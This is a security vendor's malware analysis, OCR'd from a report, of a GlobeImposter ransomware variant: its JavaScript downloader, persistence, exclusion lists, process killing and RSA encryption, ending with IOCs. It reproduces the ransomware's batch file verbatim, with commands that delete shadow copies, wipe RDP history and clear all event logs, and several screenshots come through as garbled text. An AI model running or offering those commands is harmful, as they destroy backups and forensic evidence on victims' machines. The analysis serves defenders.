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Over the past few days, FortiGuard Labs captured a number of JS (JavaScript) scripts.
Based on my analysis, they were being used to spread the new Globelmposter ransomware

variants. | picked one of them and did a quick analysis. The version of the variant | reviewed
is “726”.

Figure 1 shows part of the JS file list that we captured. As you can see, the files with name
that start with “IMG_" and “NIC” are all Globelmposter downloaders.
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Figure 1. Captured JS file list
Download and Execution

When the JS “IMG_8798.js” is executed, it downloads Globelmposter from
“hxxp://wendybull.com.au/87wefhi??JWbXSII=JWbXSII” and runs it. In my test environment,
the downloaded file name is 87wefhi.txt.exe. Next we’ll look at how it works on a victim’s
machine.

When Globelmposter is launched, it dynamically extracts code into a heap space. It then
creates its child process with the flag “CREATE_SUSPENDED”". It creates a suspended
process, and later the code of the child process will be replaced with previously extracted
code. This extracted code will be executed when the child process resumes its execution.
This behavior is the main part of Globelmposter’s functionality.

The screenshot in Figure 2 shows the process tree when Globelmposter is executed.
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= £ Procmion3.exe (3468) Pr... C\Users|jilDeskiop\ProcessMonitoriProcmond.exe 4l = sktop'ProcessMonitor\Procmon3.exe”
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¥ reg.exe (2088) R.. ClWindowslsystem32ireg.exe |reg delete "HKEY_CURRENT_USER\Scftware|MicrosofiTerminal Server ClientiDefault’ iva
8 reg.exe (752) R... CWindowslsystem32ireg.exe |n:g delete "HKEY_CURRENT_USER\Scftware\MicrosoftiTerminal Server Clisnt\Servers” 4
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Figure 2. The Process Tree

The initial process resumes the execution of its child process by calling “ResumeThread”,
and then exits. All the analysis below is about that child process.

The Child Process

First, it calls the API function SetThreadExecutionState and passes 0x80000041H to it. With
the parameter 0x80000041H, the Windows system will never sleep while the ransomware is
encrypting the files. The function is called again with 0x80000000 after its work is done.

To prevent it from being analyzed easily, most strings and part of its APIs are encrypted.
They are decrypted dynamically when running. Afterwards, it decrypts the exclusion folder
and file extension names. In this version, it sets two exclusion lists. While the ransomware
goes through all the folders and files on the victim’s machine, it skips those files in the folders
whose names are in an exclusion folder list and those files whose extension names are in an
exclusion extension list. (In this version, it does do the extension name checking, it ignores
the checking result though. Maybe it's a bug).

Below are the exclusion lists:
Folder exclusion list: (44 in total)

Windows, Microsoft, Microsoft Help, Windows App Cettification Kit, Windows Defender,
ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player,
Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits,
Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell,
Temp, NVIDIA Corporation, Microsoft. NET, Internet Explorer, Kaspersky Lab, McAfee, Avira,
spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec_Client_Security, system
volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker,
Chrome, Mozilla Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData.
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Extension exclusion list: (170 in total)

.Ser .4db .4dd .4d .4mp .abs .abx .accdb .accdc .accde .accdr .accdt .accdw .accft .adn .adp
.aft .ahd .alf .ask .awdb .azz .bdb .bib .bnd .bok .btr .cdb .cdb .cdb .ckp .clkw .cma .crd
.daconnections .dacpac .dad .dadiagrams .daf .daschema .db .db-shm .db-wa .db2 .db3 .dbc
.dbf .dbf .dbk .dbs .dbt .dbv .dbx .dcbh .dct .dcx .dd .df1 .dmo .dnc .dp1 .dqy .dsk .dsn .dta
.dtsx .dx .eco .ecx .edb .emd .eq .fcd .fdb .fic .fid .fi .fm5& .fmp .fmp12 .fmps .fo .fp3 .fp4 .fp5
fp7 .fpt .fzb .fzv .gdb .gwi .hdb .his .ib .idc .ihx .itdb .itw .jtx .kdb .Igc .maq .mdb .mdbhtm
.mdf.mdn .mdt .mrg .mud .mwb .myd .ndf .ns2 .ns3 .ns4 .nsf.nv2 .nyf.oce .odb .oqy .ora
.0rx .owc .owg .oyx .p96 .p97 .pan .pdb .pdm .phm .pnz .pth .pwa .qpx .qry .qvd .rctd .rdb
.rpd .rsd .sbf .sdb .sdf .spq .sqb .sq .sqlite .sqlite3 .sqlitedb .str .tcx .tdt .te .teacher .tmd .trm
.udb .usr.v12 .vdb .vpd .wdb .wmdb .xdb .xId .xlgc .zdb .zdc

Relocation and Startup Group

Afterwards, it copies itself into “%AllUserProfile%\Public\” and adds the new file in the startup
group in the victim’s Windows registry. This allows it to be executed automatically whenever
the system starts. Figure 3 shows that Globelmposter has been added
(....RunOnce\CerificatesCheck) into the startup group in the Windows registry.

ﬂ Registry Editor E E
Eile Edit Xiew Favorites Help
o : MetCache * || Name Type Data
Pn?lic‘iEE ab| (Default) REG_SZ (value not set)
E:‘-E"‘R ab) CertificatesCheck REG_SZ Ci\Users\Public\8Twefhibet.exe
RunOnce

Screensavers
Shell Extension
Sidebar
Telephony
ThemeManage
Themes
WinTrust -

Fl i 2 4 LI F

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\RunOnce

Figure 3. Startup Group in Windows Registry
Preparatory Work

To prevent the victim from restoring encrypted files from the Shadow Volume copies, it calls

“vssadmin.exe Delete Shadows /All /Quiet” in an executable batch file to delete all shadows.
In that batch file it also cleans up Remote Desktop information saved in the system registry

as well as the file %UserProfile%\Documents\Default.rdp. The batch file is called again after
the file encryption work is done.

Figure 4 shows the content of the batch file.
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1| _t42A6.tmp.bat_ - Notepad — O X
p P

Eile Edit Format View Help

@echo off

vssadmin.exe Delete Shadows fAll /Quiet

reg delete "HKEY_CURRENT_ USER\Software\Microsoft\Terminal Serwver Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Serwver Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Serwer Client\Servers”

cd XuserprofileX¥\documentsh

attrib Default.rdp -s -h

del Default.rdp

for /F "tokens=*" %1 in (‘wevtutil.exe el") DO wevtutil.exe cl "%1"

Figure 4. The Batch File

Next, it initializes encryption related keys, data, etc. for encrypting files 2048-bit RSA. Part of
the key related data is saved in a newly created file “%AllUserProfile%\Public\{hex
numbers}”. The name of {hex numbers} is made from the hardware information of victim’s
machine.

Before Encrypting Files

Killing some running processes and generating an html file are the last two steps before its
starts encrypting files.

It calls taskkill.exe to kill running processes whose names include "sql", "outlook", "ssms",
"postgre", "1c", "excel" and "word". Killing these processes might cause them to release the
files they are using, which could result in this ransomware encrypting more files.

Figure 5 shows the pseudo code used to do this.
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18| memset{&Startuplinfo, @8, Bxbbu);

19| StartupInfo.ch = 68;

28| result = GreateToolhelp32Snapshot{2u, @});

21| w? = resull;

22| 4f ( result *= (HAMDLE}-1 )

23| ¢

24 pe.duSize = 556;

25 Process32FirstW(result, &pe);

26 do

27 {

28 ui = (LPCSTR =)off_H%1B950; /¢ keyword list => "sql”, "outlook™, "ssms', “postgre™, ""c¢", "excel™, “word"”.
29 while { 1)

I8 {

n uli = sub_K1280F(pe.szExeFile, @);

32 us = 1strlenW(pe.szExeFile);

33 For i = @8; 1 € sy 1 =uwuf+ 1)

34 ui[i] = sub_48C31A(us[i]);

35 if ( StrStra{vis, =vd) ) /7 Search keywords in running process names.
1 break;

a7 R H

38 if ( (signed int)wz >= (signed int)&unk_41B96C )

a9 goto LABEL_18;

e 3

] ud = HeapCreate(8, 0x1000u, @);

42 u9 = (const CHAR *)RtlAllocateHeap(use, @, 256);

43 wsprintfa(ve, "%d", pe.th32ProcessID);

Iy lstrepyR(&stringl, “taskkill /F /T fPID *);

45 1strcatf(&Stringt, v9); /4 run taskkill to kill matched processes.
I }l‘:reatePrncessn(B. &itringl, @, @, 0, 0x8000000u, B, @, &Startuplnfo, BFrocessinformation);
47

I8 while { Process3ZHextW{v?, &pe) );

40 result = {HANDLE)CloseHandle{w2);

= %

Figure 5. Kill Matched Processes

An HTML file (RECOVER-FILES-726.html) is then generated and dropped in the folder
where the files are encrypted. Opening the HTML file informs the victim that the system’s
files have been encrypted and provides instructions on how to pay to get them back. The
HTML file consists of the decrypted resources of this exe as well as a “personal ID”.

This “personal ID” is sent to the server when you see the payment page. That ID allows the
attacker to identify you and to generate the decryption key. Figure 6 is the screenshot of this
HTML file content.

MmE w e maaErs BumE A ESAmie  WAE L ESAMRA ¥ g em L ms SaEEe np wmdw s

= <div class="note private’:>
thrx<hry
<div class="hold">For data recovery nesds decrypror.< dive
<br>
Bl <dive>If you want to buy a decryptor, click the button<br><dive
<br»<br>
<script> function tnkhxupm[ BT T ,.-_ru'.ﬁ::t:t] f1f(! {ceplace Lnst,unt:ccf Array) ) {replace=nsw Ilrrm,t e):if(search instanc
instanceaf Array))scarch=new Array(scs lengEhsrep lace ) {cepla .

:while (search

¥ alfisuhjtl:: instanceof Arr
[k1) ﬂﬂhil-e(i>—1:l{3LU:IJEC:—5W:jE¢t . -

k=0:k<zearch. length; k++) {var i=subject.
zfjazfjoguhtgxhigxhozfjngxh=gxh"zi hzt) £i:zfifgxh/efinetjZzfjiguhd et Jegx fiv
gthztjezijtzijhztjnztjdg’xh—gxh gxhpztjogxhagxhtzfjrat] zijtgxhagxm:zfjggxhegxhtgxh guh'gs:':__.._
rhyhpfrotrext] @ docuwent.wrice (sszhwrehtfw) @ </scripe>

BF 1F 33 60 F
W9 F8 7C D7 EA ES 1h 38 C7 AB BA DD 13 45 5B E6 The IS code outputs this
SF 03 ED 7B 35 14 4F 3E FO 76 79 3C FD BS 83 oC
E6 BC 4E CO KB EF BS 41 5B 89 DE C2 F2 03 B2 63
BF 7&¢ SC 20 =0 Qi Rh RF ©% & 85 24 &0 EO 85 07
5 F EO0 F4 AB 7F ZC 58
DD 9D FE £ Your Personal ID CC B2 C9 59 B2 G6E
SE D8 06 3p o BU DL ob AL ry 55 BE SF ZA 97 BD
7C AD AS 44 E1 CF 8 00 D8 65 E7 Ch E3 F6 31 7B
SE 9D 66 EE 74 EF 76 41 6F 6 54 C4 22 64 99 71
BE EF 21 EA 4D 2E E7 SC 5B &0 Sa D9 D4 F2 ES 07
B3 F6 11 A3 5D 73 CA E1 83 94 B3 F6 ké 53 82 B3
BE 78 71 9D 2C 34 7C DF D8 84 A9 B3 BZ 69 55 AB
7C C6 Fh €3 39 11 68 86 1B EB E9 64 1 68 D9 E6
BA F4 2z 1A 3C 60 92 AE 6B 2ZF 11 45 47 72 A5 BF
[0 &6 96 &7 &C C5 S0 za CC F6 OF FE 5E DB 55 6E
<fprexvs

<INPUT TYPE="hidden® NAME="nu" VALUE="105M»
<INPUT TYPE="hidden" NAME="su"™ VALUE="(QO">»
<INPUT TYPE="hicdden" NAME="us" VALUE="S0O0":>
<button type="submit” >Yes, I want o buy</butcon:>
</ form:

"<form action="https://n22dezvhgdsgyamb.onion.link/efwdaq.php”
method="post” target="_blank">}
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Figure 6. RECOVER-FILES-726.html| Content

Encryption Process

When Globelmposter starts encrypting, it first scans files in all of the partitions on the victim’s
machine. It then encrypts almost every file as long as its folder name is not in the folder
exclusion list as mentioned before. It reads the file and then encrypts the file content using
the RSA algorithm and then overwrites the original content with encrypted content. The

“‘personal ID” is also appended after encrypted content has been added to the file.

Figure 7 shows the content of an encrypted file.

corfig.sys.. 726
Offset
aooooooo
QoooooLo
oooooozo
aooooo3on
Qooooo4o
goooooso
ooooooen
Qooooozo
goooooso
oooooo9on
QoooooAD
QoooooeO
agoooooco
QoooooDo
Qo00ooED
aoooooFo
Qooool1oo0
goooollo
oooooizo
ooooo13o
oooool4o0
ooooo150
ooooo160
0oQoo17o
aoooolgon
aoooo19o0
Qoooo1AD
Oooooi1gO0
oooooico
goooolno
Oo0oo1ED
Qo0o01FD
goooozoo
ooooozio
Qoooozz0

o1 2 3 4 5 & 7 & 9 A B C D E F

12 57 55 58 BB B1 E7 71 45 76 48 50 S& 1C BA E8 WUX, tcgEVHPZ &
8E FB 94 2E C3 4E A7 9E 48 D9 02 FF EE 84 A4 D2 01al.ANSIHI yil=0
B6 D3 04 FO BF SC 2C DA DO BD 2E 11 FE 99 7F 33 90 & ~,08 . b1 3
AF 59 DE D3 D1 Ch 6C B& ES 88 70 13 BB 91 DB 0A ~YEOHZ1Ma1p »-0

27 E3 Fe 7E OB 38 41 48 ~— -7 77 77 77 7 7T 07U BAEY} (#iv 5
9C 9 EE 2 1E CC BZ 00 Encrypted File Content 1* colaoivdn
S5& 4D ES Al 8F CB 68 02 Eh 1T 1 o

74 73 3C 47 B2 FB FB 50 5C C2 5& 4F 8D 7E ED 96 ts<GlieP~AZ0 ~il
AC 05 C9 10 82 40 Db CB 64 DE 95 1D E7 B6 83 99 - E 1@0EdEI ¢TIl
27 C0 71 29 CE 76 SE EE 0D 9B 15 64 89 D& D7 6C ‘'Ag)Iv*i 1 jr0xl
DD 87 OS5 F8 11 FA 27 D8 0OC 78 AC 52 08 03 70 71 Ylde w'@ z-R pg

38 33 20 38 33 20 31 31 20 33 44 20 42 46 20 31 83 B3 11 3D BF 1
46 20 33 39 20 36 30 20 32 42 20 31 46 20 41 41 F 39 60 2B 1F A&
20 41 30 20 41 44 20 43 31 20 41 31 20 34 46 0A A0 AD C1 A1 4F

41 39 20 46 38 20 37 43 20 44 37 20 45 41 20 45 A9 F8 7C D7 EA E
39 20 31 41 20 33 38 20 43 37 20 41 42 20 42 41 9 1& 38 C7 AB Ba
20 44 44 20 31 33 20 34 35 20 35 42 20 45 36 0A DD 13 45 5B Eg

35 46 20 30 33 20 45 44 20 37 42 20 33 38 20 31 5F 03 ED 7B 38 1

34 20 34 46 20 33 E F9 76 79
20 33 43 20 46 44 | B8 83 9C
45 36 20 42 43 20 Personal ID 4E OO0 AB E
46 20 42 35 20 34 .1 SE 89 DE
20 43 32 20 4B 32 e er e e e e e o e er el .. 03 B2 B3

42 46 20 37 36 20 35 43 20 32 30 20 35 30 20 39 BF 76 5C 20 50 9
41 20 42 44 20 42 45 20 43 46 20 41 36 20 38 32 A BD BE CF A6 B9
20 38 41 20 36 44 20 45 30 20 38 35 20 30 37 0A  8A eD EO 85 07
32 41 20 42 39 20 37 35 20 46 38 20 30 39 20 46 2& B9 75 F6 09 F
42 20 32 35 20 42 35 20 37 41 20 37 38 20 45 30 B 25 BS 74 78 EO
20 46 34 20 41 42 20 37 46 20 32 43 20 39 38 0A F4 AB JF 2C 98
44 44 20 39 44 20 46 45 20 39 41 20 36 45 20 46 DD 9D FE 9& GE F
45 20 31 42 20 41 32 20 45 37 20 45 35 20 43 43 E 1B A2 E7 E5 CC
20 42 32 20 43 39 20 35 39 20 42 32 20 36 45 0A  BZ C9 59 B2 GE

A R A A At A R R R
30 20 42 43 20 38 45 20 41 31 20 46 39 20 35 35 0 BC BE Al F9 55

Figure 7. File Content of Encrypted config.sys
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It then appends “..726” to every encrypted file name to identify that the file has been
encrypted.

The screenshot in Figure 8, below, shows that it is about to rename an encrypted file by
calling API MoveFileExW.

Paced || Wa] T el 5] ~] = WEmTw R[] P KBRS =FE]

004123CC| FF7424 1C push ~|sters

004123D0| 8D2424 74120000 lea Eax, 0012BEARE UNICODE ™

00412307| 50 ush  eax f6386/200] kernel 32.

00412308| FFD3 i ehx FFFFFFFE o

004123D4| 64 01 push 1 T63366BC kerns132.

004123DC| 8DB424 7412000(1lea eax. dword ptr [espt+1274] 0012B32C

004123E3| &0 push  eax 00298068

004123E4| 8D8424 7802000 1ea cax. dword ptr [esp+278] T6314B1F kernsl32.

004123FB| 50 ush  eax 00242300 ASCTT “b
tr ErnE Movel1 §

ISR 0 204100 i dword 414078 k 132, NoveFileE W @

004123F2| 8DBC24 7002000{leca  ecx, 004123EC

004123F9| ES 4Doooooo  |GEIM  0041244B ES 0023 32bit O(F

004123FE| 57 push  edi CS 001B 32Zbit O(F

004123FF| 6A 00 ush 0 $S 0023 3%bit O(F

00412401 FF15 34404100 h dword ptr [414034] kernel 32, GetProcessHeap DS 0023 3%bit O(F

00412407 50 ush  eax FS 003 3%bit TFF

00412408| FF15 30404100 i dword ptr [414030] kernel32. HeapFree 0% 0000 NULL

0041240E| SBTCZ4 18 mov edi,

00412412| 8D4424 20 lea eax, _ LastErr ERROR_SUC

00d12416| 50 sh 3

00412417| 55 Puch :;; 00000246 (N0, NB, E,

(A1 A1 0 BE1L D AnA1 0 h A A + A1 ANEC]T 1 1 I ALl R ol PN il 0 FFFF OO

ds: [00414078]=76318DF8 (kernel3Z. NoveFileExW) oty 599 FFFF 00

= LB

O04Z21AR0 07 » S 0012BSAR || Fvistingllame = "C:\Usershall Users‘Oracle’\Java'installcache\baseimagefamd”

00421AC0 | AG 0012B320| 0012CEAB || Newlame = “C:\Users\All Users\Oracle\Java\installcache\baseimagefams. . 726"
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Figure 8. Rename Encrypted File

Figure 9 shows the screenshot of encrypted files (including exe files) in the python
installation folder.
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Figure 9. Encrypted Files in python Folder
Open RECOVER-FILES-726.html

Figure 10 shows how you go to the payment page by opening the RECOVER-FILES-
726.html. file.
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Figure 10. Open RECOVER-FILES-726.html

Solution

Through this analysis, we know how Globelmposter is downloaded onto a victim’s machine,
and how it works to encrypt the files on victim’s machine. We also observed that many new

JS samples are spreading this ransomware. Since it uses an RSA 2048-bit key to encrypt
files, it's very hard to decrypt them without the decryption key.

e The URL in the JS file used to download the Globelmposter has been rated as a
“Malicious Website” by the FortiGuard Webfilter service.

e The JS file is detected as JS/Globelmposter.Altr by the FortiGuard Antivirus service.

o The downloaded Globelmposter is detected as W32/Globelmposter.Altrby the
FortiGuard Antivirus service.
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URL:

hxxp://wendybull.com.au/87wefhi??JWbXSII=JWbXSII

Sample SHA256:

IMG_8798.js
3328B73EF04DEA21145186F24C300B9D727C855B2A4B3FC3FBC2EDC793275EEA
87wefhi.txt.exe
10AA60F4757637B6B934C8A4DFF16C52A6D1D24297A5FFFDF846D32F55155BEQ
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